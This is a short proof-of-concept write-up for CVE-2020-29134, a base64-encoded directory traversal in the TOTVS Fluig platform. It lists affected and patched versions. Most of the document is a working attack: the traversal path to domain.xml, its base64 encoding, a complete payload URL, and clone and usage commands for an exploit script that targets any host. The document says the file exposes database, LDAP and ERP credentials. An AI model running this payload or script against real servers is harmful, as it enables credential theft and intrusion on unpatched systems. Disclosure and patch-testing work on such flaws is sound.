CVE-2020–29134 Totvs Fluig Platform

on PESQUISA

Totvs Fluig Platform

Fluig is the productivity and collaboration platform that integrates with the ERP system, and your company’s other systems to revolutionize the way you and your team work.

CVE-2020-29134

TOTVS Fluig Plataform allows directory traversal via parameter encoded in base64 When exploited, this vulnerability allows the reading of sensitive XML files, which contain data to access the database and, in some cases, LDAP connections and ERP integrations.

Versions affecteds

<== Fluig Lake 1.7.0

<== Fluig 1.6.5

<== Fluig 1.6.4

Patched versions

Fluig Lake 1.7.0-210303 (Patched)

Fluig 1.6.5-210308 (Patched)

Fluig 1.6.4-210308 (Patched)

Building Payload

alt text

Attack Vector

http://fluig.host.com/volume/stream/Rmx1aWc=/

Path traversal plain text

?t=1&vol=Default&id=1&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml

Path traversal encoded base64

 P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

Payload

http://HOST.FLUIG.COM/volume/stream/Rmx1aWc=/P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

Exploit-DB reference

https://www.exploit-db.com/exploits/49622

Clone Repository

git clone https://github.com/lucxssouza/CVE-2020-29134.git cd CVE-2020-29134 chmod +x xfluig.sh

Usage

Ex1: ./xfluig.sh http://fluig.host.com REQUESTS_WFUZZ (number of requests generated by wfuzz)

Ex2: ./xfluig.sh http://fluig.host.com:PORT